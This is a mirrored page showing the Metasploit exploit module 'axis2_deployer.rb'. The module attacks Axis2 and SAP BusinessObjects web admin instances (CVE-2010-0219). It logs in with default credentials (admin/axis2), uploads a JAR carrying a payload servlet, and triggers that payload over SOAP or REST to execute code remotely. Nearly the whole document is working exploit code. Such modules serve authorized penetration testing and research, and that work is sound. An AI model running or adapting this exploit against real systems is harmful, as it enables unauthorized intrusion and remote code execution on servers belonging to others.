CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/axis2_deployer.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
10
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
17
'Description' => %q{
18
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
19
and uploads and executes commands via deploying a malicious web service by using SOAP.
20
},
21
'References' =>
22
[
23
# General
24
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
25
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
26
[ 'CVE', '2010-0219' ],
27
[ 'OSVDB', '68662' ]
28
],
29
'Platform' => %w{ java linux win }, # others?
30
'Targets' =>
31
[
32
[ 'Java', {
33
'Arch' => ARCH_JAVA,
34
'Platform' => 'java'
35
},
36
],
37
#
38
# Platform specific targets only
39
#
40
[ 'Windows Universal',
41
{
42
'Arch' => ARCH_X86,
43
'Platform' => 'win'
44
},
45
],
46
[ 'Linux X86',
47
{
48
'Arch' => ARCH_X86,
49
'Platform' => 'linux'
50
},
51
],
52
],
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2010-12-30',
55
'Author' =>
56
[
57
'Joshua Abraham <jabra[at]rapid7.com>', # original module
58
'Chris John Riley' # modifications
59
],
60
'License' => MSF_LICENSE
61
))
62
63
register_options(
64
[
65
Opt::RPORT(8080),
66
OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]),
67
OptString.new('PASSWORD', [ true, 'The password for the specified username','axis2' ]),
68
OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
69
])
70
register_autofilter_ports([ 8080 ])
71
end
72
73
def upload_exec(session,rpath)
74
contents=''
75
name = Rex::Text.rand_text_alpha(8)
76
77
# We must register this file early, that way the on_new_session method
78
# won't miss it if FileDropper's cleanup routine kicks in.
79
register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")
80
81
services_xml = %Q{
82
<service name="#{name}" scope="application">
83
<description>
84
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
85
</description>
86
<messageReceivers>
87
<messageReceiver
88
mep="http://www.w3.org/2004/08/wsdl/in-only"
89
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
90
<messageReceiver
91
mep="http://www.w3.org/2004/08/wsdl/in-out"
92
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
93
</messageReceivers>
94
<parameter name="ServiceClass">
95
metasploit.PayloadServlet
96
</parameter>
97
</service>
98
}
99
if target.name =~ /Java/
100
zip = payload.encoded_jar
101
zip.add_file("META-INF/services.xml", services_xml)
102
103
# We need this class as a wrapper to run in a thread. For some reason
104
# the Payload class is giving illegal access exceptions without it.
105
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
106
zip.add_file("metasploit/PayloadServlet.class", servlet)
107
108
contents = zip.pack
109
end
110
111
boundary = rand_text_alphanumeric(6)
112
113
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
114
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
115
data << contents
116
data << "\r\n--#{boundary}--"
117
118
res = send_request_raw({
119
'uri' => "#{rpath}/axis2-admin/upload",
120
'method' => 'POST',
121
'data' => data,
122
'headers' =>
123
{
124
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
125
'Cookie' => "JSESSIONID=#{session}",
126
}
127
}, 25)
128
129
if (res and res.code == 200)
130
print_good("Successfully uploaded")
131
else
132
print_error("Error uploading #{res}")
133
return
134
end
135
=begin
136
res = send_request_raw({
137
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
138
'method' => 'GET',
139
'headers' =>
140
{
141
'Cookie' => "JSESSIONID=#{session}",
142
}
143
}, 25)
144
puts res.body
145
puts res.code
146
if res.code > 200 and res.code < 300
147
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
148
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
149
puts dir
150
else
151
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
152
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
153
puts dir
154
end
155
end
156
end
157
=end
158
159
print_status("Polling to see if the service is ready")
160
161
res_rest = send_request_raw({
162
'uri' => "#{rpath}/services",
163
'method' => 'GET',
164
}, 25)
165
166
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
167
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
168
xsi='http://www.w3.org/2001/XMLSchema-instance'
169
170
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
171
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
172
data << '<soapenv:Header/>' + "\r\n"
173
data << '<soapenv:Body>' + "\r\n"
174
data << '<soapenv:run/>' + "\r\n"
175
data << '</soapenv:Body>' + "\r\n"
176
data << '</soapenv:Envelope>' + "\r\n\r\n"
177
178
begin
179
p = /Please enable REST/
180
catch :stop do
181
1.upto 5 do
182
Rex::ThreadSafe.sleep(3)
183
184
if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
185
# Try to execute the payload
186
res = send_request_raw({
187
'uri' => "#{rpath}/services/#{name}",
188
'method' => 'POST',
189
'data' => data,
190
'headers' =>
191
{
192
'Content-Length' => data.length,
193
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
194
'Content-Type' => 'text/xml; charset=UTF-8',
195
}
196
}, 15)
197
else
198
## rest
199
res = send_request_raw({
200
'uri' => "#{rpath}/services/#{name}/run",
201
'method' => 'GET',
202
'headers' =>
203
{
204
'cookie' => "jsessionid=#{session}",
205
}
206
}, 25)
207
208
if not (res.code > 200 and res.code < 300)
209
## rest alternative path (use altres as a 200 is returned regardless)
210
altres = send_request_raw({
211
'uri' => "#{rpath}/rest/#{name}/run",
212
'method' => 'GET',
213
'headers' =>
214
{
215
'cookie' => "jsessionid=#{session}",
216
}
217
}, 25)
218
end
219
end
220
221
if res and res.code > 200 and res.code < 300
222
throw :stop # exit loop
223
elsif res and res.code == 401
224
if (res.headers['WWW-Authenticate'])
225
authmsg = res.headers['WWW-Authenticate']
226
end
227
print_error("The remote server responded expecting authentication")
228
if authmsg
229
print_error("WWW-Authenticate: %s" % authmsg)
230
end
231
raise ::Rex::ConnectionError
232
throw :stop # exit loop
233
end
234
end
235
end
236
rescue ::Rex::ConnectionError
237
print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
238
end
239
end
240
241
def exploit
242
user = datastore['USERNAME']
243
pass = datastore['PASSWORD']
244
rpath = normalize_uri(datastore['PATH'])
245
246
success = false
247
srvhdr = '?'
248
begin
249
res = send_request_cgi(
250
{
251
'method' => 'POST',
252
'uri' => normalize_uri(rpath, '/axis2-admin/login'),
253
'ctype' => 'application/x-www-form-urlencoded',
254
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
255
}, 25)
256
257
if not (res.kind_of? Rex::Proto::Http::Response)
258
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
259
end
260
261
if res.code == 404
262
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
263
end
264
265
srvhdr = res.headers['Server']
266
if res.code == 200
267
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
268
# as well but that seems like an element someone's more
269
# likely to change
270
271
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
272
if res.get_cookies =~ /JSESSIONID=(.*);/
273
session = $1
274
end
275
end
276
277
rescue ::Rex::ConnectionError
278
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
279
end
280
281
282
if not success and not rpath =~ /dswsbobje/
283
rpath = '/dswsbobje'
284
begin
285
res = send_request_cgi(
286
{
287
'method' => 'POST',
288
'uri' => normalize_uri(rpath, '/axis2-admin/login'),
289
'ctype' => 'application/x-www-form-urlencoded',
290
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
291
}, 25)
292
293
if not (res.kind_of? Rex::Proto::Http::Response)
294
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
295
end
296
297
if res.code == 404
298
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
299
end
300
301
srvhdr = res.headers['Server']
302
if res.code == 200
303
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
304
# as well but that seems like an element someone's more
305
# likely to change
306
307
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
308
if res.get_cookies =~ /JSESSIONID=(.*);/
309
session = $1
310
end
311
end
312
313
rescue ::Rex::ConnectionError
314
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
315
end
316
end
317
318
if success
319
print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
320
upload_exec(session,rpath)
321
else
322
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
323
end
324
end
325
end
326
327